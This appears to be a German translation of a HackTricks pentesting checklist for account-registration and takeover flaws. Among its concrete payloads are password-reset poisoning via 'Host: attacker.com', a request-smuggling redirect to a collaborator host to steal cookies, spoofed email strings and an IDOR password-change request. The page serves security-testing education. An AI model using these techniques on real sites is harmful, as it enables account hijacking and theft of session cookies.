Registration & Takeover Vulnerabilities
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Registrierung Übernahme
Doppelte Registrierung
Versuche, einen bestehenden Benutzernamen zu generieren
Überprüfe verschiedene E-Mails:
Großbuchstaben
+1@
füge einen Punkt in die E-Mail ein
Sonderzeichen im E-Mail-Namen (%00, %09, %20)
Setze schwarze Zeichen nach der E-Mail:
test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
Benutzernamen Enumeration
Überprüfe, ob du herausfinden kannst, wann ein Benutzername bereits in der Anwendung registriert wurde.
Passwort-Richtlinie
Erstelle einen Benutzer und überprüfe die Passwort-Richtlinie (überprüfe, ob du schwache Passwörter verwenden kannst). In diesem Fall kannst du versuchen, Anmeldeinformationen zu bruteforcen.
SQL-Injection
Überprüfe diese Seite , um zu lernen, wie man Konten übernimmt oder Informationen über SQL-Injection in Registrierungsformularen extrahiert.
Oauth Übernahmen
OAuth to Account takeoverSAML-Anfälligkeiten
SAML AttacksE-Mail ändern
Wenn registriert, versuche, die E-Mail zu ändern und überprüfe, ob diese Änderung korrekt validiert wird oder ob du sie auf beliebige E-Mails ändern kannst.
Weitere Überprüfungen
Überprüfe, ob du wegwerfbare E-Mails verwenden kannst
Langes Passwort (>200) führt zu DoS
Überprüfe die Ratenlimits bei der Kontoerstellung
Verwende username@burp_collab.net und analysiere den Callback
Passwortzurücksetzungsübernahme
Passwortzurücksetzung Token-Leck über Referrer
Fordere eine Passwortzurücksetzung an deine E-Mail-Adresse an
Klicke auf den Link zur Passwortzurücksetzung
Ändere das Passwort nicht
Klicke auf beliebige 3rd Party-Websites (z.B.: Facebook, Twitter)
Fange die Anfrage im Burp Suite Proxy ab
Überprüfe, ob der Referer-Header das Passwortzurücksetzungstoken leakt.
Passwortzurücksetzung Vergiftung
Fange die Passwortzurücksetzungsanfrage in Burp Suite ab
Füge die folgenden Header in Burp Suite hinzu oder bearbeite sie:
Host: attacker.com
,X-Forwarded-Host: attacker.com
Leite die Anfrage mit dem modifizierten Header weiter
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
Suche nach einer Passwortzurücksetzungs-URL basierend auf dem Host-Header wie:
https://attacker.com/reset-password.php?token=TOKEN
Passwortzurücksetzung über E-Mail-Parameter
IDOR bei API-Parametern
Angreifer müssen sich mit ihrem Konto anmelden und zur Funktion Passwort ändern gehen.
Starten Sie die Burp Suite und fangen Sie die Anfrage ab.
Senden Sie sie an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Schwaches Passwort-Zurücksetzen-Token
Das Passwort-Zurücksetzen-Token sollte zufällig generiert und jedes Mal einzigartig sein. Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
Zeitstempel
Benutzer-ID
E-Mail des Benutzers
Vorname und Nachname
Geburtsdatum
Kryptographie
Nur Zahlen
Kleine Token-Sequenz (Zeichen zwischen [A-Z,a-z,0-9])
Token-Wiederverwendung
Ablaufdatum des Tokens
Leckendes Passwort-Zurücksetzen-Token
Lösen Sie eine Passwort-Zurücksetzen-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
Überprüfen Sie die Serverantwort und suchen Sie nach
resetToken
Verwenden Sie dann das Token in einer URL wie
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Passwort-Zurücksetzen über Benutzernamen-Kollision
Registrieren Sie sich im System mit einem Benutzernamen, der identisch mit dem Benutzernamen des Opfers ist, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.:
"admin "
Fordern Sie ein Passwort-Zurücksetzen mit Ihrem böswilligen Benutzernamen an.
Verwenden Sie das Token, das an Ihre E-Mail gesendet wurde, und setzen Sie das Passwort des Opfers zurück.
Melden Sie sich mit dem neuen Passwort beim Konto des Opfers an.
Die Plattform CTFd war anfällig für diesen Angriff. Siehe: CVE-2020-7245
Kontoübernahme über Cross Site Scripting
Finden Sie ein XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die übergeordnete Domain beschränkt sind:
*.domain.com
Lecken Sie das aktuelle Sitzungscookie
Authentifizieren Sie sich als der Benutzer mit dem Cookie
Kontoübernahme über HTTP Request Smuggling
1. Verwenden Sie smuggler, um den Typ des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Erstellen Sie eine Anfrage, die POST / HTTP/1.1
mit den folgenden Daten überschreibt:
GET http://something.burpcollaborator.net HTTP/1.1 X:
mit dem Ziel, die Opfer zu burpcollab umzuleiten und ihre Cookies zu stehlen
3. Die endgültige Anfrage könnte wie folgt aussehen
Hackerone-Berichte, die diesen Fehler ausnutzen * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
Kontoübernahme über CSRF
Erstellen Sie ein Payload für das CSRF, z.B.: „HTML-Formular mit automatischer Übermittlung für eine Passwortänderung“
Senden Sie das Payload
Kontoübernahme über JWT
JSON Web Token könnte verwendet werden, um einen Benutzer zu authentifizieren.
Bearbeiten Sie das JWT mit einer anderen Benutzer-ID / E-Mail
Überprüfen Sie die schwache JWT-Signatur
Referenzen
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Last updated